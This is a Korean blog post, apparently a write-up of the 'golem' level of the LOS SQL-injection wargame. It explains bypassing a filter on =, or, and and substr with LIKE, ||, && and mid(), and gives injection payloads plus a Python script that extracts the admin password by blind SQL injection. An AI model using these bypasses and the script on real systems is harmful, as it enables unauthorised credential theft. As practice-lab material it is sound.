Network/LOS

[LOS_11]golem

dcho 2019. 8. 27. 17:43
SMALL

이번 문제를 분석해보니  or , and , substr(  , = 이렇게 필터링이 걸려있고 get방식으로 정확하게 admin의 pw를 맞추는 blind sql injection 문제이다. 

먼저 Hello [id] 의 부분에 admin을 넣어서 나오게 하고 싶은데 그게 쉽지가 않다. 바로 = 를 우회하는게 쉽지가 않은데 이리저리 찾아보다가

URL인코딩 방식도 안먹히기에 다른 방법을 검색해보다가 LIKE 를 이용해 보면 쉽게 할 수 있었다.

LIKE문은 예를 들어 

select id from iamtable where id LIKE 'admin'

iamtable이라는 테이블에서 id칼럼에서 'admin'인 id값을 select하는 것이다.


그래서 넣어본 결과

?pw=1' || id LIKE 'admin'%23

정상적으로 출력이 되는 것을 확인해 볼 수 있었다. 

이제 참 값을 확인 할 수 있으니 pw의 길이를 알아보고자 한다.

?pw=1' || id LIKE 'admin'%26%26 length(pw)<9 %23

pw길이가 9자리 미만이면 참! 그렇다면 저번처럼 8자리 일려나?해서 8미만으로 거짓이 나오게 해보았다.


los는 admin의 pw길이를 8자리..! 국룰인가보다



그럼 blind sql injection을 하기 위해 자동화 코드를 파이썬으로 작성해 보기로 했다.

하지만 substr과 = 이 걸림돌이인셈 substr을 대체할 mid함수를 이용하기로 했다.

( 참고 링크 :  https://extbrain.tistory.com/62 )

그렇게 해서 각 자리에 맞는 아스키 코드를 돌리고 LIKE 문으로 해당 아스키값을 비교하면 된다.

아래는 자동화시킬 python 코드 



import requests

headers = {"cookie": 'PHPSESSID=[Your Session ID]'} # 자신의 쿠키 값을 넣어준다.

for i in range(1, 9): # 큰 반복분 8자리 이기에 9까지
    for j in range(48, 127): # 작은 반복문 숫자부터 시작함

        params = {'pw': "1' || id LIKE 'admin' && ascii(mid(pw," + str(i) + ",1)) LIKE ('" + str(j) + "') #"}

        r = requests.get(url, params=params, headers=headers)

        if "Hello admin" in r.text: # 응답값에서 텍스트가 Hello admin이면 출력하고 다음자리로
            print(chr(j), end='')
            break

추출해낸 결과이다.

클리어!




'Network > LOS' 카테고리의 다른 글

[LOS_13]bugbear  (0) 2019.08.28
[LOS_12]darkknight  (0) 2019.08.27
[LOS_10]skeleton  (0) 2019.08.17
[LOS_9]vampire  (0) 2019.08.17
[LOS_8]troll  (0) 2019.08.17